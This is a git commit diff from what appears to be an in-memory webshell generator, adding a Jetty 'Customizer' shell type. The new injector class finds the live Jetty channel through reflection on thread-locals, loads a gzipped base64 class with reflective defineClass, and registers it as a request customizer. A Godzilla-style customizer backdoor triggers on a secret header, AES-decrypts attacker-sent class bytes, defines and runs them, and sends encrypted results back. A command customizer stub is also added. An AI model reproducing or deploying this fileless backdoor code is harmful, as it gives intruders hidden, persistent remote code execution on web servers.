feat: support jetty customizer shell

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent 7c3a63902b
commit 5a92bd9944
14 changed files with 557 additions and 2 deletions
@@ -71,6 +71,7 @@ public class ServerFactory {
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(HANDLER, GodzillaJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
@@ -144,6 +145,7 @@ public class ServerFactory {
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
.addShellClass(HANDLER, CommandJettyHandler.class)
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
@@ -20,9 +20,8 @@ public class ShellType {
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String HANDLER = "Handler";
public static final String JETTY6_HANDLER = "Jetty6Handler";
public static final String JETTY_EE_HANDLER = "JettyEEHandler";
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
public static final String CUSTOMIZER = "Customizer";
public static final String NETTY_HANDLER = "NettyHandler";
@@ -0,0 +1,215 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JettyCustomizerInjector {
private String msg = "";
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public JettyCustomizerInjector() {
Object channel = null;
try {
channel = getChannel();
} catch (Throwable throwable) {
msg += "channel error: " + getErrorMessage(throwable);
}
if (channel == null) {
msg += "channel is null";
} else {
msg += ("channel: [" + channel + "] ");
try {
Object shell = getShell(channel);
inject(channel, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
System.out.println(msg);
}
public void inject(Object channel, Object shell) throws Exception {
Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
for (Object customizer : customizers) {
if (customizer.getClass().getName().equals(getClassName())) {
return;
}
}
customizers.add(shell);
}
@Override
public String toString() {
return msg;
}
/**
* org.eclipse.jetty.server.HttpChannel
*/
private Object getChannel() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
return getFieldValue(threadLocalValue, "_channel");
}
}
}
}
} catch (Exception e) {
}
}
return null;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -44,6 +44,7 @@ public class Jetty extends AbstractServer {
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
.addInjector(HANDLER, JettyHandlerInjector.class)
.addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class)
.addInjector(CUSTOMIZER, JettyCustomizerInjector.class)
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
.build();
}
@@ -0,0 +1,80 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.eclipse.jetty.server.Connector;
import org.eclipse.jetty.server.HttpConfiguration;
import org.eclipse.jetty.server.Request;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/11/29
*/
public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
private static String paramName;
public CommandJettyCustomizer() {
}
// jetty9+
public void customize(Connector connector, HttpConfiguration channelConfig, Request request) {
try {
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (p == null || p.isEmpty()) {
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
}
if (p != null) {
String param = getParam(p);
Object response = invokeMethod(request, "getResponse");
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
}
@@ -0,0 +1,142 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.eclipse.jetty.server.Connector;
import org.eclipse.jetty.server.HttpConfiguration;
import org.eclipse.jetty.server.Request;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/11/29
*/
public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfiguration.Customizer {
private static String key;
private static String pass;
private static String md5;
private static String headerName;
private static String headerValue;
private static Class<?> payload;
public GodzillaJettyCustomizer() {
}
protected GodzillaJettyCustomizer(ClassLoader parent) {
super(parent);
}
// jetty9+
public void customize(Connector connector, HttpConfiguration channelConfig, Request request) {
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
Object response = invokeMethod(request, "getResponse");
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
try {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = base64Decode(parameter);
data = this.x(data, false);
if (payload == null) {
payload = new GodzillaJettyCustomizer(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
}
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
} catch (Throwable e) {
e.printStackTrace();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,109 @@
package com.reajason.javaweb.memshell.tomcat.command;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import com.reajason.javaweb.memshell.shelltool.command.CommandJettyHandler;
import net.bytebuddy.jar.asm.ClassReader;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
/**
* @author ReaJason
* @since 2025/12/2
*/
public class CommandJettyHandlerTest {
@Test
void testJetty6() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Jetty)
.serverVersion("6")
.shellTool(ShellTool.Command)
.shellType(ShellType.HANDLER)
.debug(true)
.build();
CommandConfig commandConfig = CommandConfig.builder()
.shellClass(CommandJettyHandler.class)
.shellClassName(CommandJettyHandler.class.getName())
.paramName("pwd").build();
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
byte[] bytes = commandGenerator.getBytes();
assertEquals("org/mortbay/jetty/handler/AbstractHandler", new ClassReader(bytes).getSuperName());
}
@Test
void testJetty7Plus() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Jetty)
.serverVersion("7+")
.shellTool(ShellTool.Command)
.shellType(ShellType.HANDLER)
.debug(true)
.build();
CommandConfig commandConfig = CommandConfig.builder()
.shellClass(CommandJettyHandler.class)
.shellClassName(CommandJettyHandler.class.getName())
.paramName("pwd").build();
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
byte[] bytes = commandGenerator.getBytes();
assertEquals("org/eclipse/jetty/server/handler/AbstractHandler", new ClassReader(bytes).getSuperName());
}
@Test
void testJetty12() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Jetty)
.serverVersion("12")
.shellTool(ShellTool.Command)
.shellType(ShellType.HANDLER)
.debug(true)
.build();
CommandConfig commandConfig = CommandConfig.builder()
.shellClass(CommandJettyHandler.class)
.shellClassName(CommandJettyHandler.class.getName())
.paramName("pwd").build();
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
byte[] bytes = commandGenerator.getBytes();
assertEquals("org/eclipse/jetty/server/Handler$Abstract", new ClassReader(bytes).getSuperName());
}
@Test
void testJettyException() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Jetty)
.serverVersion("unknown")
.shellTool(ShellTool.Command)
.shellType(ShellType.HANDLER)
.debug(true)
.build();
CommandConfig commandConfig = CommandConfig.builder()
.shellClass(CommandJettyHandler.class)
.shellClassName(CommandJettyHandler.class.getName())
.paramName("pwd").build();
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
assertThrows(GenerationException.class, commandGenerator::getBytes);
}
@Test
void testJettyNullException() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Jetty)
.serverVersion(null)
.shellTool(ShellTool.Command)
.shellType(ShellType.HANDLER)
.debug(true)
.build();
CommandConfig commandConfig = CommandConfig.builder()
.shellClass(CommandJettyHandler.class)
.shellClassName(CommandJettyHandler.class.getName())
.paramName("pwd").build();
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
assertThrows(GenerationException.class, commandGenerator::getBytes);
}
}
@@ -55,6 +55,7 @@ public class Jetty10ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -56,6 +56,7 @@ public class Jetty11ContainerTest {
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -64,6 +64,7 @@ public class Jetty75ContainerTest {
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info("logs: {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@@ -64,6 +64,7 @@ public class Jetty81ContainerTest {
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info("logs: {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@@ -56,6 +56,7 @@ public class Jetty92ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -55,6 +55,7 @@ public class Jetty93ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -55,6 +55,7 @@ public class Jetty94ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);